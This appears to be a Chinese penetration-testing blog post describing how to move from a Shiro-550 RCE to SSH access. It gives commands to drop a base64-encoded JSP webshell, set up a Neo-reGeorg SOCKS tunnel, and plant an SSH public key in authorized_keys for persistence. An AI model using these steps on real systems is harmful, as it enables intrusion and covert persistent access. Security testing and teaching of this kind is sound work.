0%

渗透测试从RCE到SSH登录

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

在渗透测试中,拿到webshell后执行命令总会碰到很多不便,而使用ssh登录则会方便许多。相比使用webshell工具执行命令,ssh连接可以有命令提示、路径补全、支持二次交互等优势,本文记录一个从WEB RCE漏洞到SSH登录的姿势。

过程

getshell

首先通过Shiro 550得到一个shell

因为网站不出网,所以不能直接反弹shell,通过base64写入webshell到web目录

1
echo <base64 webshell> |base64 -d > webapps/uploadImg/shell.jsp;ls -lah

架设代理

网站不出网,所以需要架设socks代理访问ssh端口及内网主机,这里使用Neo-reGeorg。首次使用,先生成自己密码的neoreg服务端代码

1
python3 neoreg.py generate -k <your-password>

执行后在neoreg_servers找到对应服务端语言的文件,这里是tunnel.jsp,然后通过上面的shell上传到目标服务器web目录上,再通过neoreg连接

1
2
3
4
5
6
# -k 指定连接密码,就是生成时用的密码
# -u tunnel.jsp 的url
# --skip 忽略https证书错误
# -l 本地socks服务监听ip
# -p 本地socks服务监听端口
python3 neoreg.py -k <your-password> -u https://xxx.com/uploadImg/tunnel.jsp --skip -l 0.0.0.0 -p 30080

写入ssh公钥

为了尽量少修改服务器配置,通过写入ssh公钥可以不修改密码或者破解密码的情况下连接上ssh。这里使用xshell生成秘钥对,默认选项生成就可以了,shell会自动保存秘钥对,当然使用ssh-keygen也是可以的

然后把生成的公钥文件,复制到目标主机的~/.ssh/authorized_keys文件中,如果不存在可以创建

连接ssh

配置ssh连接127.0.0.2

配置用户名及公钥连接,公钥选择前面生成那个

配置代理,使用上面neoreg构建的代理

成功连接ssh

为什么连接127.0.0.2

经过实践发现,通过代理连接目标主机的内网ip 172.xx.xx.33连接不上,而连接127.0.0.1时则提示主机指纹改变的问题,需要重新写入指纹到目标主机才能连接,然而非root用户无法写入,连接127.0.0.2则完美避开问题